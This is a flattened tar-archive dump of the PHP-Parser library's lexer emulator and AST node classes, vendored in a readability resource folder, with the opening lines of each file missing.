\substr($tokens[$i][1], \strlen($matches[0])), $line ]; } array_splice($tokens, $i, 1, $replacement); $c += \count($replacement) - 1; continue; } if (\is_array($tokens[$i])) { $line += substr_count($tokens[$i][1], "\n"); } } return $tokens; } public function reverseEmulate(string $code, array $tokens): array { // ?-> was not valid code previously, don't bother. return $tokens; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/MatchTokenEmulator.php000064400000000645147577714370027135 0ustar00targetPhpVersion = $options['phpVersion'] ?? Emulative::PHP_8_1; unset($options['phpVersion']); parent::__construct($options); $emulators = [ new FlexibleDocStringEmulator(), new FnTokenEmulator(), new MatchTokenEmulator(), new CoaleseEqualTokenEmulator(), new NumericLiteralSeparatorEmulator(), new NullsafeTokenEmulator(), new AttributeEmulator(), new EnumTokenEmulator(), new ReadonlyTokenEmulator(), new ExplicitOctalEmulator(), ]; // Collect emulators that are relevant for the PHP version we're running // and the PHP version we're targeting for emulation. foreach ($emulators as $emulator) { $emulatorPhpVersion = $emulator->getPhpVersion(); if ($this->isForwardEmulationNeeded($emulatorPhpVersion)) { $this->emulators[] = $emulator; } else if ($this->isReverseEmulationNeeded($emulatorPhpVersion)) { $this->emulators[] = new ReverseEmulator($emulator); } } } public function startLexing(string $code, ErrorHandler $errorHandler = null) { $emulators = array_filter($this->emulators, function($emulator) use($code) { return $emulator->isEmulationNeeded($code); }); if (empty($emulators)) { // Nothing to emulate, yay parent::startLexing($code, $errorHandler); return; } $this->patches = []; foreach ($emulators as $emulator) { $code = $emulator->preprocessCode($code, $this->patches); } $collector = new ErrorHandler\Collecting(); parent::startLexing($code, $collector); $this->sortPatches(); $this->fixupTokens(); $errors = $collector->getErrors(); if (!empty($errors)) { $this->fixupErrors($errors); foreach ($errors as $error) { $errorHandler->handleError($error); } } foreach ($emulators as $emulator) { $this->tokens = $emulator->emulate($code, $this->tokens); } } private function isForwardEmulationNeeded(string $emulatorPhpVersion): bool { return version_compare(\PHP_VERSION, $emulatorPhpVersion, '<') && version_compare($this->targetPhpVersion, $emulatorPhpVersion, '>='); } private function isReverseEmulationNeeded(string $emulatorPhpVersion): bool { return version_compare(\PHP_VERSION, $emulatorPhpVersion, '>=') && version_compare($this->targetPhpVersion, $emulatorPhpVersion, '<'); } private function sortPatches() { // Patches may be contributed by different emulators. // Make sure they are sorted by increasing patch position. usort($this->patches, function($p1, $p2) { return $p1[0] <=> $p2[0]; }); } private function fixupTokens() { if (\count($this->patches) === 0) { return; } // Load first patch $patchIdx = 0; list($patchPos, $patchType, $patchText) = $this->patches[$patchIdx]; // We use a manual loop over the tokens, because we modify the array on the fly $pos = 0; for ($i = 0, $c = \count($this->tokens); $i < $c; $i++) { $token = $this->tokens[$i]; if (\is_string($token)) { if ($patchPos === $pos) { // Only support replacement for string tokens. assert($patchType === 'replace'); $this->tokens[$i] = $patchText; // Fetch the next patch $patchIdx++; if ($patchIdx >= \count($this->patches)) { // No more patches, we're done return; } list($patchPos, $patchType, $patchText) = $this->patches[$patchIdx]; } $pos += \strlen($token); continue; } $len = \strlen($token[1]); $posDelta = 0; while ($patchPos >= $pos && $patchPos < $pos + $len) { $patchTextLen = \strlen($patchText); if ($patchType === 'remove') { if ($patchPos === $pos && $patchTextLen === $len) { // Remove token entirely array_splice($this->tokens, $i, 1, []); $i--; $c--; } else { // Remove from token string $this->tokens[$i][1] = substr_replace( $token[1], '', $patchPos - $pos + $posDelta, $patchTextLen ); $posDelta -= $patchTextLen; } } elseif ($patchType === 'add') { // Insert into the token string $this->tokens[$i][1] = substr_replace( $token[1], $patchText, $patchPos - $pos + $posDelta, 0 ); $posDelta += $patchTextLen; } else if ($patchType === 'replace') { // Replace inside the token string $this->tokens[$i][1] = substr_replace( $token[1], $patchText, $patchPos - $pos + $posDelta, $patchTextLen ); } else { assert(false); } // Fetch the next patch $patchIdx++; if ($patchIdx >= \count($this->patches)) { // No more patches, we're done return; } list($patchPos, $patchType, $patchText) = $this->patches[$patchIdx]; // Multiple patches may apply to the same token. Reload the current one to check // If the new patch applies $token = $this->tokens[$i]; } $pos += $len; } // A patch did not apply assert(false); } /** * Fixup line and position information in errors. * * @param Error[] $errors */ private function fixupErrors(array $errors) { foreach ($errors as $error) { $attrs = $error->getAttributes(); $posDelta = 0; $lineDelta = 0; foreach ($this->patches as $patch) { list($patchPos, $patchType, $patchText) = $patch; if ($patchPos >= $attrs['startFilePos']) { // No longer relevant break; } if ($patchType === 'add') { $posDelta += strlen($patchText); $lineDelta += substr_count($patchText, "\n"); } else if ($patchType === 'remove') { $posDelta -= strlen($patchText); $lineDelta -= substr_count($patchText, "\n"); } } $attrs['startFilePos'] += $posDelta; $attrs['endFilePos'] += $posDelta; $attrs['startLine'] += $lineDelta; $attrs['endLine'] += $lineDelta; $error->setAttributes($attrs); } } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Mod.php000064400000000336147577714370023561 0ustar00>'; } public function getType() : string { return 'Expr_BinaryOp_ShiftRight'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Greater.php000064400000000467147577714370024440 0ustar00'; } public function getType() : string { return 'Expr_BinaryOp_Greater'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Mul.php000064400000000457147577714370023603 0ustar00'; } public function getType() : string { return 'Expr_BinaryOp_Spaceship'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/ShiftLeft.php000064400000000474147577714370024735 0ustar00='; } public function getType() : string { return 'Expr_BinaryOp_GreaterOrEqual'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/LogicalAnd.php000064400000000477147577714370025045 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_Clone'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PropertyFetch.php000064400000001672147577714370024121 0ustar00attributes = $attributes; $this->var = $var; $this->name = \is_string($name) ? new Identifier($name) : $name; } public function getSubNodeNames() : array { return ['var', 'name']; } public function getType() : string { return 'Expr_PropertyFetch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Variable.php000064400000001200147577714370023033 0ustar00attributes = $attributes; $this->name = $name; } public function getSubNodeNames() : array { return ['name']; } public function getType() : string { return 'Expr_Variable'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafePropertyFetch.php000064400000001724147577714370025611 0ustar00attributes = $attributes; $this->var = $var; $this->name = \is_string($name) ? new Identifier($name) : $name; } public function getSubNodeNames() : array { return ['var', 'name']; } public function getType() : string { return 'Expr_NullsafePropertyFetch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Eval_.php000064400000001166147577714370022347 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_Eval'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Error.php000064400000001354147577714370022411 0ustar00attributes = $attributes; } public function getSubNodeNames() : array { return []; } public function getType() : string { return 'Expr_Error'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrayItem.php000064400000002135147577714370023213 0ustar00attributes = $attributes; $this->key = $key; $this->value = $value; $this->byRef = $byRef; $this->unpack = $unpack; } public function getSubNodeNames() : array { return ['key', 'value', 'byRef', 'unpack']; } public function getType() : string { return 'Expr_ArrayItem'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ClassConstFetch.php000064400000001717147577714370024351 0ustar00attributes = $attributes; $this->class = $class; $this->name = \is_string($name) ? new Identifier($name) : $name; } public function getSubNodeNames() : array { return ['class', 'name']; } public function getType() : string { return 'Expr_ClassConstFetch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ErrorSuppress.php000064400000001217147577714370024154 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_ErrorSuppress'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BooleanNot.php000064400000001222147577714370023352 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_BooleanNot'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostDec.php000064400000001171147577714370022656 0ustar00attributes = $attributes; $this->var = $var; } public function getSubNodeNames() : array { return ['var']; } public function getType() : string { return 'Expr_PostDec'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Throw_.php000064400000001217147577714370022560 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_Throw'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrayDimFetch.php000064400000001470147577714370024001 0ustar00attributes = $attributes; $this->var = $var; $this->dim = $dim; } public function getSubNodeNames() : array { return ['var', 'dim']; } public function getType() : string { return 'Expr_ArrayDimFetch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreInc.php000064400000001166147577714370022501 0ustar00attributes = $attributes; $this->var = $var; } public function getSubNodeNames() : array { return ['var']; } public function getType() : string { return 'Expr_PreInc'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Assign.php000064400000001402147577714370022536 0ustar00attributes = $attributes; $this->var = $var; $this->expr = $expr; } public function getSubNodeNames() : array { return ['var', 'expr']; } public function getType() : string { return 'Expr_Assign'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BitwiseNot.php000064400000001205147577714370023402 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_BitwiseNot'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/CallLike.php000064400000001771147577714370023003 0ustar00 */ abstract public function getRawArgs(): array; /** * Returns whether this call expression is actually a first class callable. */ public function isFirstClassCallable(): bool { foreach ($this->getRawArgs() as $arg) { if ($arg instanceof VariadicPlaceholder) { return true; } } return false; } /** * Assert that this is not a first-class callable and return only ordinary Args. * * @return Arg[] */ public function getArgs(): array { assert(!$this->isFirstClassCallable()); return $this->getRawArgs(); } }res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Ternary.php000064400000001731147577714370022743 0ustar00attributes = $attributes; $this->cond = $cond; $this->if = $if; $this->else = $else; } public function getSubNodeNames() : array { return ['cond', 'if', 'else']; } public function getType() : string { return 'Expr_Ternary'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast.php000064400000001053147577714370022206 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Closure.php000064400000005152147577714370022734 0ustar00 false : Whether the closure is static * 'byRef' => false : Whether to return by reference * 'params' => array(): Parameters * 'uses' => array(): use()s * 'returnType' => null : Return type * 'stmts' => array(): Statements * 'attrGroups' => array(): PHP attributes groups * @param array $attributes Additional attributes */ public function __construct(array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->static = $subNodes['static'] ?? false; $this->byRef = $subNodes['byRef'] ?? false; $this->params = $subNodes['params'] ?? []; $this->uses = $subNodes['uses'] ?? []; $returnType = $subNodes['returnType'] ?? null; $this->returnType = \is_string($returnType) ? new Node\Identifier($returnType) : $returnType; $this->stmts = $subNodes['stmts'] ?? []; $this->attrGroups = $subNodes['attrGroups'] ?? []; } public function getSubNodeNames() : array { return ['attrGroups', 'static', 'byRef', 'params', 'uses', 'returnType', 'stmts']; } public function returnsByRef() : bool { return $this->byRef; } public function getParams() : array { return $this->params; } public function getReturnType() { return $this->returnType; } /** @return Node\Stmt[] */ public function getStmts() : array { return $this->stmts; } public function getAttrGroups() : array { return $this->attrGroups; } public function getType() : string { return 'Expr_Closure'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Print_.php000064400000001171147577714370022550 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_Print'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Include_.php000064400000001630147577714370023037 0ustar00attributes = $attributes; $this->expr = $expr; $this->type = $type; } public function getSubNodeNames() : array { return ['expr', 'type']; } public function getType() : string { return 'Expr_Include'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryMinus.php000064400000001205147577714370023425 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_UnaryMinus'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Array_.php000064400000001435147577714370022535 0ustar00attributes = $attributes; $this->items = $items; } public function getSubNodeNames() : array { return ['items']; } public function getType() : string { return 'Expr_Array'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostInc.php000064400000001171147577714370022674 0ustar00attributes = $attributes; $this->var = $var; } public function getSubNodeNames() : array { return ['var']; } public function getType() : string { return 'Expr_PostInc'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ClosureUse.php000064400000001561147577714370023411 0ustar00attributes = $attributes; $this->var = $var; $this->byRef = $byRef; } public function getSubNodeNames() : array { return ['var', 'byRef']; } public function getType() : string { return 'Expr_ClosureUse'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp.php000064400000002132147577714370023036 0ustar00attributes = $attributes; $this->left = $left; $this->right = $right; } public function getSubNodeNames() : array { return ['left', 'right']; } /** * Get the operator sigil for this binary operation. * * In the case there are multiple possible sigils for an operator, this method does not * necessarily return the one used in the parsed code. * * @return string */ abstract public function getOperatorSigil() : string; } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignRef.php000064400000001463147577714370023202 0ustar00attributes = $attributes; $this->var = $var; $this->expr = $expr; } public function getSubNodeNames() : array { return ['var', 'expr']; } public function getType() : string { return 'Expr_AssignRef'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp.php000064400000001315147577714370023040 0ustar00attributes = $attributes; $this->var = $var; $this->expr = $expr; } public function getSubNodeNames() : array { return ['var', 'expr']; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ConstFetch.php000064400000001244147577714370023356 0ustar00attributes = $attributes; $this->name = $name; } public function getSubNodeNames() : array { return ['name']; } public function getType() : string { return 'Expr_ConstFetch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafeMethodCall.php000064400000002465147577714370025032 0ustar00 Arguments */ public $args; /** * Constructs a nullsafe method call node. * * @param Expr $var Variable holding object * @param string|Identifier|Expr $name Method name * @param array $args Arguments * @param array $attributes Additional attributes */ public function __construct(Expr $var, $name, array $args = [], array $attributes = []) { $this->attributes = $attributes; $this->var = $var; $this->name = \is_string($name) ? new Identifier($name) : $name; $this->args = $args; } public function getSubNodeNames() : array { return ['var', 'name', 'args']; } public function getType() : string { return 'Expr_NullsafeMethodCall'; } public function getRawArgs(): array { return $this->args; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Match_.php000064400000001211147577714370022503 0ustar00attributes = $attributes; $this->cond = $cond; $this->arms = $arms; } public function getSubNodeNames() : array { return ['cond', 'arms']; } public function getType() : string { return 'Expr_Match'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ShellExec.php000064400000001252147577714370023171 0ustar00attributes = $attributes; $this->parts = $parts; } public function getSubNodeNames() : array { return ['parts']; } public function getType() : string { return 'Expr_ShellExec'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryPlus.php000064400000001217147577714370023260 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_UnaryPlus'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreDec.php000064400000001162147577714370022457 0ustar00attributes = $attributes; $this->var = $var; } public function getSubNodeNames() : array { return ['var']; } public function getType() : string { return 'Expr_PreDec'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticCall.php000064400000002454147577714370023345 0ustar00 Arguments */ public $args; /** * Constructs a static method call node. * * @param Node\Name|Expr $class Class name * @param string|Identifier|Expr $name Method name * @param array $args Arguments * @param array $attributes Additional attributes */ public function __construct($class, $name, array $args = [], array $attributes = []) { $this->attributes = $attributes; $this->class = $class; $this->name = \is_string($name) ? new Identifier($name) : $name; $this->args = $args; } public function getSubNodeNames() : array { return ['class', 'name', 'args']; } public function getType() : string { return 'Expr_StaticCall'; } public function getRawArgs(): array { return $this->args; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticPropertyFetch.php000064400000002001147577714370025254 0ustar00attributes = $attributes; $this->class = $class; $this->name = \is_string($name) ? new VarLikeIdentifier($name) : $name; } public function getSubNodeNames() : array { return ['class', 'name']; } public function getType() : string { return 'Expr_StaticPropertyFetch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/New_.php000064400000002132147577714370022203 0ustar00 Arguments */ public $args; /** * Constructs a function call node. * * @param Node\Name|Expr|Node\Stmt\Class_ $class Class name (or class node for anonymous classes) * @param array $args Arguments * @param array $attributes Additional attributes */ public function __construct($class, array $args = [], array $attributes = []) { $this->attributes = $attributes; $this->class = $class; $this->args = $args; } public function getSubNodeNames() : array { return ['class', 'args']; } public function getType() : string { return 'Expr_New'; } public function getRawArgs(): array { return $this->args; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/FuncCall.php000064400000002022147577714370023000 0ustar00 Arguments */ public $args; /** * Constructs a function call node. * * @param Node\Name|Expr $name Function name * @param array $args Arguments * @param array $attributes Additional attributes */ public function __construct($name, array $args = [], array $attributes = []) { $this->attributes = $attributes; $this->name = $name; $this->args = $args; } public function getSubNodeNames() : array { return ['name', 'args']; } public function getType() : string { return 'Expr_FuncCall'; } public function getRawArgs(): array { return $this->args; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/List_.php000064400000001321147577714370022364 0ustar00attributes = $attributes; $this->items = $items; } public function getSubNodeNames() : array { return ['items']; } public function getType() : string { return 'Expr_List'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Isset_.php000064400000001172147577714370022544 0ustar00attributes = $attributes; $this->vars = $vars; } public function getSubNodeNames() : array { return ['vars']; } public function getType() : string { return 'Expr_Isset'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Empty_.php000064400000001171147577714370022552 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_Empty'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/MethodCall.php000064400000002436147577714370023336 0ustar00 Arguments */ public $args; /** * Constructs a function call node. * * @param Expr $var Variable holding object * @param string|Identifier|Expr $name Method name * @param array $args Arguments * @param array $attributes Additional attributes */ public function __construct(Expr $var, $name, array $args = [], array $attributes = []) { $this->attributes = $attributes; $this->var = $var; $this->name = \is_string($name) ? new Identifier($name) : $name; $this->args = $args; } public function getSubNodeNames() : array { return ['var', 'name', 'args']; } public function getType() : string { return 'Expr_MethodCall'; } public function getRawArgs(): array { return $this->args; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Yield_.php000064400000001507147577714370022525 0ustar00attributes = $attributes; $this->key = $key; $this->value = $value; } public function getSubNodeNames() : array { return ['key', 'value']; } public function getType() : string { return 'Expr_Yield'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/YieldFrom.php000064400000001223147577714370023205 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_YieldFrom'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Exit_.php000064400000001361147577714370022366 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Expr_Exit'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Instanceof_.php000064400000001504147577714370023545 0ustar00attributes = $attributes; $this->expr = $expr; $this->class = $class; } public function getSubNodeNames() : array { return ['expr', 'class']; } public function getType() : string { return 'Expr_Instanceof'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrowFunction.php000064400000004522147577714370024120 0ustar00 false : Whether the closure is static * 'byRef' => false : Whether to return by reference * 'params' => array() : Parameters * 'returnType' => null : Return type * 'expr' => Expr : Expression body * 'attrGroups' => array() : PHP attribute groups * @param array $attributes Additional attributes */ public function __construct(array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->static = $subNodes['static'] ?? false; $this->byRef = $subNodes['byRef'] ?? false; $this->params = $subNodes['params'] ?? []; $returnType = $subNodes['returnType'] ?? null; $this->returnType = \is_string($returnType) ? new Node\Identifier($returnType) : $returnType; $this->expr = $subNodes['expr']; $this->attrGroups = $subNodes['attrGroups'] ?? []; } public function getSubNodeNames() : array { return ['attrGroups', 'static', 'byRef', 'params', 'returnType', 'expr']; } public function returnsByRef() : bool { return $this->byRef; } public function getParams() : array { return $this->params; } public function getReturnType() { return $this->returnType; } public function getAttrGroups() : array { return $this->attrGroups; } /** * @return Node\Stmt\Return_[] */ public function getStmts() : array { return [new Node\Stmt\Return_($this->expr)]; } public function getType() : string { return 'Expr_ArrowFunction'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Name/FullyQualified.php000064400000002234147577714370024177 0ustar00toString(); } public function getType() : string { return 'Name_FullyQualified'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Name/Relative.php000064400000002231147577714370023030 0ustar00toString(); } public function getType() : string { return 'Name_Relative'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Namespace_.php000064400000000515147577714370025667 0ustar00attributes = $attributes; $this->value = $value; } public function getSubNodeNames() : array { return ['value']; } /** * Constructs an LNumber node from a string number literal. * * @param string $str String number literal (decimal, octal, hex or binary) * @param array $attributes Additional attributes * @param bool $allowInvalidOctal Whether to allow invalid octal numbers (PHP 5) * * @return LNumber The constructed LNumber, including kind attribute */ public static function fromString(string $str, array $attributes = [], bool $allowInvalidOctal = false) : LNumber { $str = str_replace('_', '', $str); if ('0' !== $str[0] || '0' === $str) { $attributes['kind'] = LNumber::KIND_DEC; return new LNumber((int) $str, $attributes); } if ('x' === $str[1] || 'X' === $str[1]) { $attributes['kind'] = LNumber::KIND_HEX; return new LNumber(hexdec($str), $attributes); } if ('b' === $str[1] || 'B' === $str[1]) { $attributes['kind'] = LNumber::KIND_BIN; return new LNumber(bindec($str), $attributes); } if (!$allowInvalidOctal && strpbrk($str, '89')) { throw new Error('Invalid numeric literal', $attributes); } // Strip optional explicit octal prefix. if ('o' === $str[1] || 'O' === $str[1]) { $str = substr($str, 2); } // use intval instead of octdec to get proper cutting behavior with malformed numbers $attributes['kind'] = LNumber::KIND_OCT; return new LNumber(intval($str, 8), $attributes); } public function getType() : string { return 'Scalar_LNumber'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/String_.php000064400000010031147577714370023204 0ustar00 '\\', '$' => '$', 'n' => "\n", 'r' => "\r", 't' => "\t", 'f' => "\f", 'v' => "\v", 'e' => "\x1B", ]; /** * Constructs a string scalar node. * * @param string $value Value of the string * @param array $attributes Additional attributes */ public function __construct(string $value, array $attributes = []) { $this->attributes = $attributes; $this->value = $value; } public function getSubNodeNames() : array { return ['value']; } /** * @internal * * Parses a string token. * * @param string $str String token content * @param bool $parseUnicodeEscape Whether to parse PHP 7 \u escapes * * @return string The parsed string */ public static function parse(string $str, bool $parseUnicodeEscape = true) : string { $bLength = 0; if ('b' === $str[0] || 'B' === $str[0]) { $bLength = 1; } if ('\'' === $str[$bLength]) { return str_replace( ['\\\\', '\\\''], ['\\', '\''], substr($str, $bLength + 1, -1) ); } else { return self::parseEscapeSequences( substr($str, $bLength + 1, -1), '"', $parseUnicodeEscape ); } } /** * @internal * * Parses escape sequences in strings (all string types apart from single quoted). * * @param string $str String without quotes * @param null|string $quote Quote type * @param bool $parseUnicodeEscape Whether to parse PHP 7 \u escapes * * @return string String with escape sequences parsed */ public static function parseEscapeSequences(string $str, $quote, bool $parseUnicodeEscape = true) : string { if (null !== $quote) { $str = str_replace('\\' . $quote, $quote, $str); } $extra = ''; if ($parseUnicodeEscape) { $extra = '|u\{([0-9a-fA-F]+)\}'; } return preg_replace_callback( '~\\\\([\\\\$nrtfve]|[xX][0-9a-fA-F]{1,2}|[0-7]{1,3}' . $extra . ')~', function($matches) { $str = $matches[1]; if (isset(self::$replacements[$str])) { return self::$replacements[$str]; } elseif ('x' === $str[0] || 'X' === $str[0]) { return chr(hexdec(substr($str, 1))); } elseif ('u' === $str[0]) { return self::codePointToUtf8(hexdec($matches[2])); } else { return chr(octdec($str)); } }, $str ); } /** * Converts a Unicode code point to its UTF-8 encoded representation. * * @param int $num Code point * * @return string UTF-8 representation of code point */ private static function codePointToUtf8(int $num) : string { if ($num <= 0x7F) { return chr($num); } if ($num <= 0x7FF) { return chr(($num>>6) + 0xC0) . chr(($num&0x3F) + 0x80); } if ($num <= 0xFFFF) { return chr(($num>>12) + 0xE0) . chr((($num>>6)&0x3F) + 0x80) . chr(($num&0x3F) + 0x80); } if ($num <= 0x1FFFFF) { return chr(($num>>18) + 0xF0) . chr((($num>>12)&0x3F) + 0x80) . chr((($num>>6)&0x3F) + 0x80) . chr(($num&0x3F) + 0x80); } throw new Error('Invalid UTF-8 codepoint escape sequence: Codepoint too large'); } public function getType() : string { return 'Scalar_String'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/DNumber.php000064400000003466147577714370023151 0ustar00attributes = $attributes; $this->value = $value; } public function getSubNodeNames() : array { return ['value']; } /** * @internal * * Parses a DNUMBER token like PHP would. * * @param string $str A string number * * @return float The parsed number */ public static function parse(string $str) : float { $str = str_replace('_', '', $str); // if string contains any of .eE just cast it to float if (false !== strpbrk($str, '.eE')) { return (float) $str; } // otherwise it's an integer notation that overflowed into a float // if it starts with 0 it's one of the special integer notations if ('0' === $str[0]) { // hex if ('x' === $str[1] || 'X' === $str[1]) { return hexdec($str); } // bin if ('b' === $str[1] || 'B' === $str[1]) { return bindec($str); } // oct // substr($str, 0, strcspn($str, '89')) cuts the string at the first invalid digit (8 or 9) // so that only the digits before that are used return octdec(substr($str, 0, strcspn($str, '89'))); } // dec return (float) $str; } public function getType() : string { return 'Scalar_DNumber'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/Encapsed.php000064400000001274147577714370023332 0ustar00attributes = $attributes; $this->parts = $parts; } public function getSubNodeNames() : array { return ['parts']; } public function getType() : string { return 'Scalar_Encapsed'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/EncapsedStringPart.php000064400000001321147577714370025341 0ustar00attributes = $attributes; $this->value = $value; } public function getSubNodeNames() : array { return ['value']; } public function getType() : string { return 'Scalar_EncapsedStringPart'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst.php000064400000001115147577714370023631 0ustar00attributes = $attributes; } public function getSubNodeNames() : array { return []; } /** * Get name of magic constant. * * @return string Name of magic constant */ abstract public function getName() : string; } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation/Precedence.php000064400000002105147577714370027126 0ustar00attributes = $attributes; $this->trait = $trait; $this->method = \is_string($method) ? new Node\Identifier($method) : $method; $this->insteadof = $insteadof; } public function getSubNodeNames() : array { return ['trait', 'method', 'insteadof']; } public function getType() : string { return 'Stmt_TraitUseAdaptation_Precedence'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation/Alias.php000064400000002454147577714370026131 0ustar00attributes = $attributes; $this->trait = $trait; $this->method = \is_string($method) ? new Node\Identifier($method) : $method; $this->newModifier = $newModifier; $this->newName = \is_string($newName) ? new Node\Identifier($newName) : $newName; } public function getSubNodeNames() : array { return ['trait', 'method', 'newModifier', 'newName']; } public function getType() : string { return 'Stmt_TraitUseAdaptation_Alias'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Case_.php000064400000001527147577714370022345 0ustar00attributes = $attributes; $this->cond = $cond; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['cond', 'stmts']; } public function getType() : string { return 'Stmt_Case'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Goto_.php000064400000001363147577714370022400 0ustar00attributes = $attributes; $this->name = \is_string($name) ? new Identifier($name) : $name; } public function getSubNodeNames() : array { return ['name']; } public function getType() : string { return 'Stmt_Goto'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Enum_.php000064400000003045147577714370022373 0ustar00 null : Scalar type * 'implements' => array() : Names of implemented interfaces * 'stmts' => array() : Statements * 'attrGroups' => array() : PHP attribute groups * @param array $attributes Additional attributes */ public function __construct($name, array $subNodes = [], array $attributes = []) { $this->name = \is_string($name) ? new Node\Identifier($name) : $name; $this->scalarType = $subNodes['scalarType'] ?? null; $this->implements = $subNodes['implements'] ?? []; $this->stmts = $subNodes['stmts'] ?? []; $this->attrGroups = $subNodes['attrGroups'] ?? []; parent::__construct($attributes); } public function getSubNodeNames() : array { return ['attrGroups', 'name', 'scalarType', 'implements', 'stmts']; } public function 